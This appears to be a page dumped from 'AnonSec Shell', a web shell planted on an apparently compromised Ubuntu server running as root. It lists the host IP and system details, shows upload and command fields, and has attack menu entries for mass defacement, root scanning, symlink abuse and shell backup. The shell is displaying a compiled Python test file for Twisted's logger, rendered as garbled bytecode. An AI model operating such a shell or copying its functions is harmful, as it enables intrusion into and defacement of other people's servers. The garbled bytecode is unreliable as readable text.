AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/logger/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/logger/test/__pycache__/test_observer.cpython-310.pyc
o

�b*�@s�dZddlmZmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZmZdd	lmZdd
lmZGdd�de
j�Zd
S)z-
Test cases for L{twisted.logger._observer}.
�)�Dict�List�Tuple�cast)�implementer)�BrokenMethodImplementation)�verifyObject)�unittest�)�ILogObserver�LogEvent)�Logger)�LogPublisherc@steZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�Zddd�Zddd�Z
dS)�LogPublisherTestsz$
    Tests for L{LogPublisher}.
    �returnNc
CsHt�}ztt|�WdSty#}z|�|�WYd}~dSd}~ww)z8
        L{LogPublisher} is an L{ILogObserver}.
        N)rrrr�fail)�self�	publisher�e�r�C/usr/lib/python3/dist-packages/twisted/logger/test/test_observer.py�test_interfaces��z LogPublisherTests.test_interfacecCs@ttdd��}ttdd��}t||�}|�||ht|j��dS)zB
        L{LogPublisher.observers} returns the observers.
        cS�dS�Nr�rrrr�<lambda>'�z2LogPublisherTests.test_observers.<locals>.<lambda>cSrrrrrrrr(rN)rrr�assertEqual�set�
_observers)r�o1�o2rrrr�test_observers#s
z LogPublisherTests.test_observerscCsZttdd��}ttdd��}ttdd��}t||�}|�|�|�|||ht|j��dS)z?
        L{LogPublisher.addObserver} adds an observer.
        cSrrrrrrrr1rz4LogPublisherTests.test_addObserver.<locals>.<lambda>cSrrrrrrrr2rcSrrrrrrrr3rN)rrr�addObserverrrr�rr r!�o3rrrr�test_addObserver-s

z"LogPublisherTests.test_addObservercCst�}|�t|jt��dS)ze
        L{LogPublisher.addObserver} refuses to add an observer that's
        not callable.
        N)r�assertRaises�	TypeErrorr#�object)rrrrr�test_addObserverNotCallable9sz-LogPublisherTests.test_addObserverNotCallablecCsZttdd��}ttdd��}ttdd��}t|||�}|�|�|�||ht|j��dS)zE
        L{LogPublisher.removeObserver} removes an observer.
        cSrrrrrrrrErz7LogPublisherTests.test_removeObserver.<locals>.<lambda>cSrrrrrrrrFrcSrrrrrrrrGrN�rrr�removeObserverrrrr$rrr�test_removeObserverAs
z%LogPublisherTests.test_removeObservercCsXttdd��}ttdd��}ttdd��}t||�}|�|�|�||ht|j��dS)zd
        L{LogPublisher.removeObserver} removes an observer that is not
        registered.
        cSrrrrrrrrRrzDLogPublisherTests.test_removeObserverNotRegistered.<locals>.<lambda>cSrrrrrrrrSrcSrrrrrrrrTrNr+r$rrr� test_removeObserverNotRegisteredMs

z2LogPublisherTests.test_removeObserverNotRegisteredc	Csxtddd�}g}g}g}tt|j�}tt|j�}tt|j�}t|||�}||�|�||�|�||�|�||�dS)z6
        L{LogPublisher} calls its observers.
        �r
��foo�barN)�dictrr�appendr�assertIn)	r�event�events1�events2�events3r r!r%rrrr�test_fanOutZszLogPublisherTests.test_fanOutcs�tddd�}td��g�tt�dtddf��fdd	��}g}t|tt|j��}||�|�|��d
d�|D�}|�	t
|�d�|�|dj��|�	t
��d�dS)
z}
        Observer raises an exception during fan out: a failure is logged, but
        not re-raised.  Life goes on.
        r/r
r0�ARGH! EVIL DEATH!r6rNcs�}��|�|r��dSr)r4)r6�shouldRaise��events�	exceptionrr�observerxs

�z7LogPublisherTests.test_observerRaises.<locals>.observercSsg|]
}d|vr|d�qS)�log_failurer)�.0rrrr�
<listcomp>�sz9LogPublisherTests.test_observerRaises.<locals>.<listcomp>r)
r3�RuntimeErrorrrrrrr4r5r�len�assertIs�value)rr6r@�	collectorr�errorsrr=r�test_observerRaisesnsz%LogPublisherTests.test_observerRaisescs^tddd�}td��tt�dtddfdd	��}G�fd
d�dt�}t|�}|�|_||�dS)z�
        Observer raises an exception during fan out and the publisher's Logger
        pukes when the failure is reported.  The exception does not propagate
        back to the caller.
        r/r
r0r;r6rNcSstd��)Nz	Sad panda)rD)r6rrrr@�szGLogPublisherTests.test_observerRaisesAndLoggerHatesMe.<locals>.observercs&eZdZdededdf�fdd�ZdS)zILogPublisherTests.test_observerRaisesAndLoggerHatesMe.<locals>.GurkLogger�args�kwargsrNcs��rr)rrKrL�r?rr�failure�szQLogPublisherTests.test_observerRaisesAndLoggerHatesMe.<locals>.GurkLogger.failure)�__name__�
__module__�__qualname__r)rNrrMrr�
GurkLogger�srR)r3rDrrrr
r�log)rr6r@rRrrrMr�#test_observerRaisesAndLoggerHatesMe�sz5LogPublisherTests.test_observerRaisesAndLoggerHatesMecs�tddgd�}i�tt�dtddf�fdd��}tt�dtddf�fd	d
��}t||�}||�|��d||ff�|��d||f||ff�dS)zA
        Tracing keeps track of forwarding to observers.
        r/r
)r1r2�	log_tracerrNc�*��dtttttft|d���dS)Nr/rU��
setdefaultrrr
r�tupler��tracesrrr ���z(LogPublisherTests.test_trace.<locals>.o1crV)Nr
rUrWrrZrrr!�r\z(LogPublisherTests.test_trace.<locals>.o2)r3rrrrr)rr6r r!rrrZr�
test_trace�s
 zLogPublisherTests.test_trace)rN)rOrPrQ�__doc__rr"r&r*r-r.r:rJrTr]rrrrrs










 rN)r^�typingrrrr�zope.interfacer�zope.interface.exceptionsr�zope.interface.verifyr�
twisted.trialr	�_interfacesrr�_loggerr
�	_observerr�TestCaserrrrr�<module>s

Anon7 - 2022
AnonSec Team